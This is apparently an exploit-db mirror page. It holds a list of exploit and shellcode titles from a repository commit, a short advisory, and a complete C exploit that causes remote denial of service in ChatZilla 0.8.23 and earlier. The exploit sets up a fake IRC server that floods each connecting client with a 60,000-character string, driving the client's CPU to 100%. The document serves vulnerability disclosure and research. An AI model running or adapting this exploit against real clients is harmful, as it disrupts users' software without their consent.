exploit-db-mirror/exploits/windows/dos/23150.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

84 lines
No EOL
2.7 KiB
C

// source: https://www.securityfocus.com/bid/8627/info
It has been reported that ChatZilla is prone to a denial of service vulnerability. The problem arises as a remote attacker posing as an IRC server sends specially crafted requests to the client containg large strings.
If successful, an attack would lead to a denial of service in the client software.
It is not known if this condition could also be exploited to execute arbitrary code on the client.
ChatZilla versions 0.8.23 and prior are reported to be prone to this issue.
/*
* ChatZilla <=v0.8.23 remote DoS exploit
*
* by m00 Security // www.m00security.org
*
* This sploit creats a fake irc-server on any port. Every connected
* ChatZilla-client will have cpu-usage 100%.
*
* Complete advisory:
* www.m00security.org/adv/adv003.txt
*
* -d4rkgr3y [d4rk@securitylab.ru]
*/
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<signal.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define COUNT 60000
#define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"
int main(int argc, char **argv)
{
struct sockaddr_in db;
int sock, i, len, lame;
const c = COUNT;
char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
printf("\nChatZilla <=v0.8.23 remote DoS exploit //
www.m00security.org\n\n");
if (argc!=2){
printf("[-] error in params. Usage\n %s port\n",argv[0]);
exit(1);
} else {
printf("[~] Generating evil buf....");
}
/* constructing evil buf */
for (i=0;i<c;i++)
{
strcat(buf,"A");
}
strcat(buf,"\n");
printf(" OK\n");
/* creating fake irc-server */
db.sin_family = AF_INET;
db.sin_addr.s_addr = INADDR_ANY;
db.sin_port = htons(atoi(argv[1]));
sock = socket(PF_INET, SOCK_STREAM, 0);
if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
perror("[-] bind()");
_exit(0);
}
/* OK */
printf("[+] fake ircd created on port %s\n",argv[1]);
/* waiting for connect */
listen(sock, SOMAXCONN);
while(1) {
printf("[+] User connected. Attacking....");
len = sizeof(db);
lame = accept(sock, (struct sockaddr*)&db, &len);
/* go go go */
write(lame,request,strlen(request));
write(lame,buf,strlen(buf));
printf(" OK\n");
close(lame);
close(sock);
return(0);
}
}